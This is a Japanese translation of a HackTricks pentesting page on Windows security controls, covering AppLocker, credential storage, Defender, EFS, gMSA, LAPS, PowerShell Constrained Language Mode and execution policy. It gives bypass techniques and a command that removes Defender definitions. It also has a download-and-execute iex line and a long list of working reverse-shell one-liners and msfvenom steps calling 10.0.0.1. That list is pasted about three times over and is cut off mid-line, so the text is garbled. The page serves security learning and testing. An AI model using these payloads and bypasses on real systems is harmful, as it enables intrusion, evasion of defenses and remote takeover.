33 KiB
Windowsセキュリティコントロール
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリにPRを提出してください。
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
AppLockerポリシー
アプリケーションホワイトリストは、システム上で存在し実行されることが許可されている承認済みのソフトウェアアプリケーションまたは実行可能ファイルのリストです。その目的は、特定のビジネスニーズに合わない有害なマルウェアや非承認のソフトウェアから環境を保護することです。
AppLockerは、Microsoftのアプリケーションホワイトリストソリューションであり、システム管理者にユーザーが実行できるアプリケーションとファイルを制御する機能を提供します。実行可能ファイル、スクリプト、Windowsインストーラーファイル、DLL、パッケージ化されたアプリ、パックされたアプリインストーラーに対して細かい制御を提供します。
組織がcmd.exeとPowerShell.exeをブロックし、特定のディレクトリへの書き込みアクセスを制限することは一般的ですが、これらはすべて回避できます。
チェック
ブラックリスト/ホワイトリストに登録されているファイル/拡張子を確認します:
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
ホストに適用されたAppLockerのルールは、HKLM\Software\Policies\Microsoft\Windows\SrpV2
のローカルレジストリから読み取ることもできます。
バイパス
- AppLockerポリシーをバイパスするための書き込み可能なフォルダの利用: もしAppLockerが
C:\Windows\System32
またはC:\Windows
内の何でも実行を許可している場合、バイパスするために使用できる書き込み可能なフォルダがあります。
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
- 一般的に信頼された"LOLBAS's"のバイナリもAppLockerをバイパスするのに役立つことがあります。
- 不適切に書かれたルールもバイパスできることがあります。
- たとえば、**
<FilePathCondition Path="%OSDRIVE%*\allowed*"/>
という場合、allowed
**という名前のフォルダをどこにでも作成すると許可されます。 - 組織はしばしば**
%System32%\WindowsPowerShell\v1.0\powershell.exe
の実行可能ファイルをブロック**することに焦点を当てますが、他のPowerShellの実行可能ファイルの場所、たとえば%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
やPowerShell_ISE.exe
を忘れがちです。 - DLLの強制は非常に稀に有効化されます。システムに負荷をかけることができ、何も壊れないことを確認するために必要なテストの量が多いためです。そのため、DLLをバックドアとして使用するとAppLockerをバイパスするのに役立ちます。
- ReflectivePickまたはSharpPickを使用して、任意のプロセスでPowershellコードを実行し、AppLockerをバイパスすることができます。詳細については、https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-modeを参照してください。
認証情報の保存
Security Accounts Manager (SAM)
ローカルの認証情報はこのファイルに保存されており、パスワードはハッシュ化されています。
Local Security Authority (LSA) - LSASS
認証情報(ハッシュ化されたもの)は、シングルサインオンのためにこのサブシステムのメモリに保存されます。
LSAはローカルのセキュリティポリシー(パスワードポリシー、ユーザーの権限など)、認証、アクセストークンの管理などを行います。
LSAは、ローカルログインの場合はSAMファイル内の提供された認証情報をチェックし、ドメインユーザーの認証にはドメインコントローラと通信します。
認証情報はLSASSプロセス内に保存されます。Kerberosチケット、NTおよびLMのハッシュ、簡単に復号できるパスワードなどが含まれます。
LSAのシークレット
LSAはディスクにいくつかの認証情報を保存することがあります:
- Active Directoryのコンピューターアカウントのパスワード(到達不能なドメインコントローラ)。
- Windowsサービスのアカウントのパスワード
- スケジュールされたタスクのパスワード
- その他(IISアプリケーションのパスワードなど)
NTDS.dit
これはActive Directoryのデータベースです。ドメインコントローラにのみ存在します。
Defender
Microsoft Defenderは、Windows 10およびWindows 11、およびWindows Serverのバージョンで利用可能なアンチウイルスソフトウェアです。WinPEAS
などの一般的なペンテストツールをブロックします。ただし、これらの保護をバイパスする方法があります。
チェック
Defenderの状態を確認するには、PSコマンドレット**Get-MpComputerStatus
を実行します(RealTimeProtectionEnabled
**の値を確認してアクティブかどうかを確認します):
PS C:\> Get-MpComputerStatus
[...]
AntispywareEnabled : True
AntispywareSignatureAge : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion : 1.323.392.0
AntivirusEnabled : True
[...]
NISEnabled : False
NISEngineVersion : 0.0.0.0
[...]
RealTimeProtectionEnabled : True
RealTimeScanDirection : 0
PSComputerName :
列挙するには、次のコマンドも実行できます:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
EFS(暗号化ファイルシステム)
EFSは、ファイルを対称鍵(ファイル暗号化鍵またはFEKとも呼ばれる)で暗号化することによって機能します。その後、暗号化されたFEKは、ファイルを暗号化したユーザーに関連付けられた公開鍵で暗号化され、この暗号化されたFEKは暗号化されたファイルの$EFS 代替データストリームに格納されます。ファイルを復号化するには、EFSコンポーネントドライバーは、$EFSストリームに格納されている対称鍵を復号化するために、ファイルを暗号化したEFSデジタル証明書に一致する秘密鍵を使用します。ここから。
ユーザーが要求しなくても、次のような例でファイルが復号化されることがあります。
- ファイルとフォルダは、FAT32などの別のファイルシステムでフォーマットされたボリュームにコピーされる前に復号化されます。
- 暗号化されたファイルは、SMB/CIFSプロトコルを使用してネットワーク経由でコピーされる場合、ファイルはネットワークに送信される前に復号化されます。
この方法で暗号化されたファイルは、所有者ユーザー(暗号化したユーザー)によって透過的にアクセスできます。したがって、そのユーザーになることができれば、ファイルを復号化できます(ユーザーのパスワードを変更してログインすることはできません)。
EFS情報の確認
このパスが存在するかどうかを確認して、ユーザーがこのサービスを使用したかどうかを確認します:C:\users\<username>\appdata\roaming\Microsoft\Protect
cipher /c <file>\を使用して、ファイルにアクセス権を持つユーザーを確認します。
また、cipher /e
とcipher /d
をフォルダ内で使用して、すべてのファイルを暗号化および復号化することもできます。
EFSファイルの復号化
Authority Systemである場合
この方法では、被害者ユーザーがホスト内でプロセスを実行している必要があります。その場合、meterpreter
セッションを使用して、ユーザーのプロセスのトークンをなりすますことができます(incognito
のimpersonate_token
を使用)。または、ユーザーのプロセスにmigrate
することもできます。
ユーザーのパスワードを知っている場合
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
グループ管理サービスアカウント(gMSA)
ほとんどのインフラストラクチャでは、サービスアカウントは「パスワードの有効期限なし」オプションを持つ通常のユーザーアカウントです。これらのアカウントの管理は本当にめんどくさいことになることがあり、それがMicrosoftが管理サービスアカウントを導入した理由です:
- パスワードの管理が不要です。複雑でランダムな240文字のパスワードを使用し、ドメインまたはコンピュータのパスワードの有効期限が切れると自動的に変更されます。
- Microsoft Key Distribution Service(KDC)を使用してgMSAのパスワードを作成および管理します。
- ロックアウトされることはなく、対話型ログインには使用できません。
- 複数のホストで共有することができます。
- スケジュールされたタスクを実行するために使用できます(管理サービスアカウントはスケジュールされたタスクの実行をサポートしていません)。
- 簡素化されたSPN管理 - システムは、コンピュータのsAMaccountの詳細やDNS名のプロパティが変更された場合、自動的にSPN値を変更します。
gMSAアカウントのパスワードは、LDAPプロパティである_msDS-ManagedPasswordに格納されており、DCは30日ごとに自動的にリセットされ、認証された管理者およびインストールされているサーバーによって取得できます。msDS-ManagedPassword_は、接続がセキュリティで保護されている場合(LDAPS)や認証タイプが「シーリング&セキュア」の場合にのみ取得できる暗号化されたデータブロブであり、MSDS-MANAGEDPASSWORD_BLOBと呼ばれます。
したがって、gMSAが使用されている場合は、特権を持っているかどうかを確認し、サービスのパスワードを読み取る権限があるかどうかも確認してください。
GMSAPasswordReaderを使用してこのパスワードを読み取ることができます。
/GMSAPasswordReader --AccountName jkohler
また、このウェブページでは、NTLMリレーアタックを使用してgMSAのパスワードを読み取る方法について説明しています。
LAPS
****Local Administrator Password Solution (LAPS)は、ドメインに参加しているコンピュータのローカル管理者パスワード(ランダム化、一意で定期的に変更される)を管理することができます。これらのパスワードはActive Directoryに集中的に保存され、ACLを使用して認可されたユーザーに制限されています。ユーザーに十分な権限が与えられている場合、ローカル管理者のパスワードを読み取ることができるかもしれません。
{% content-ref url="active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}
PS Constrained Language Mode
PowerShell **** Constrained Language Modeは、PowerShellを効果的に使用するために必要な多くの機能を制限します。これには、COMオブジェクトのブロック、承認された.NETタイプのみの許可、XAMLベースのワークフロー、PowerShellクラスなどが含まれます。
チェック
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
バイパス
Bypass(バイパス)
#Easy bypass
Powershell -version 2
現在のWindowsでは、このバイパスは機能しませんが、PSByPassCLMを使用することができます。
コンパイルするためには、 参照を追加する必要があります -> 参照の追加 -> 参照の参照 -> 参照の参照 -> C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll
を追加し、プロジェクトを .Net4.5 に変更します。
直接バイパス:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
リバースシェル:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc -e /bin/sh 10.0.0.1 8080
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm -display 10.0.0.1:1
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f exe > shell.exe
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 10.0.0.1
set LPORT 8080
exploit
ncat 10.0.0.1 8080 -e /bin/bash
socat tcp-connect:10.0.0.1:8080 exec:/bin/bash,pty,stderr,setsid,sigint,sane
perl -e 'use Socket;$i="10.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
rm -f /tmp/p; mknod /tmp/p p && telnet 10.0.0.1 8080 0/tmp/p
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}'
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');"
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc -e /bin/sh 10.0.0.1 8080
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm -display 10.0.0.1:1
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f exe > shell.exe
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 10.0.0.1
set LPORT 8080
exploit
ncat 10.0.0.1 8080 -e /bin/bash
socat tcp-connect:10.0.0.1:8080 exec:/bin/bash,pty,stderr,setsid,sigint,sane
perl -e 'use Socket;$i="10.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
rm -f /tmp/p; mknod /tmp/p p && telnet 10.0.0.1 8080 0/tmp/p
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}'
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');"
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc -e /bin/sh 10.0.0.1 8080
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm -display 10.0.0.1:1
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f exe > shell.exe
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 10.0.0.1
set LPORT 8080
exploit
ncat 10.0.0.1 8080 -e /bin/bash
socat tcp-connect:10.0.0.1:8080 exec:/bin/bash,pty,stderr,setsid,sigint,sane
perl -e 'use Socket;$i="10.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
rm -f /tmp/p; mknod /tmp/p p && telnet 10.0.0.1 8080 0/tmp/p
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}'
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');"
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc -e /bin/sh 10.0.0.1 8080
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm -display 10.0.0.1:1
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f exe > shell.exe
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 10.0.0.1
set LPORT 8080
exploit
ncat 10.0.0.1 8080 -e /bin/bash
socat tcp-connect:10.0.0.1:8080 exec:/bin/bash,pty,stderr,setsid,sigint,sane
perl -e 'use Socket;$i="10.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotoby
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
ReflectivePickまたはSharpPickを使用して、制約モードをバイパスし、任意のプロセスでPowerShellコードを実行することができます。詳細については、https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-modeを参照してください。
PS実行ポリシー
デフォルトでは、制限が設定されています。このポリシーをバイパスする主な方法は次のとおりです:
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
詳細はこちらで確認できます。
Security Support Provider Interface (SSPI)
ユーザーの認証に使用できるAPIです。
SSPIは、通信を行いたい2つのマシンに適切なプロトコルを見つける役割を担います。これには、Kerberosが最も一般的に使用されます。その後、SSPIはどの認証プロトコルを使用するかを交渉し、これらの認証プロトコルはセキュリティサポートプロバイダ(SSP)と呼ばれ、各Windowsマシン内のDLLとして存在し、通信するためには両方のマシンで同じサポートが必要です。
主なSSP
- Kerberos: 最も一般的なもの
- %windir%\Windows\System32\kerberos.dll
- NTLMv1およびNTLMv2: 互換性のため
- %windir%\Windows\System32\msv1_0.dll
- Digest: WebサーバーとLDAP、MD5ハッシュ形式のパスワード
- %windir%\Windows\System32\Wdigest.dll
- Schannel: SSLおよびTLS
- %windir%\Windows\System32\Schannel.dll
- Negotiate: 使用するプロトコルを交渉するために使用されます(デフォルトはKerberos)
- %windir%\Windows\System32\lsasrv.dll
交渉には複数の方法または1つの方法のみが提供される場合があります。
UAC - ユーザーアカウント制御
ユーザーアカウント制御(UAC)は、昇格したアクティビティの承認プロンプトを有効にする機能です。
{% content-ref url="windows-security-controls/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyをご覧ください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricks repoとhacktricks-cloud repoにPRを提出してください。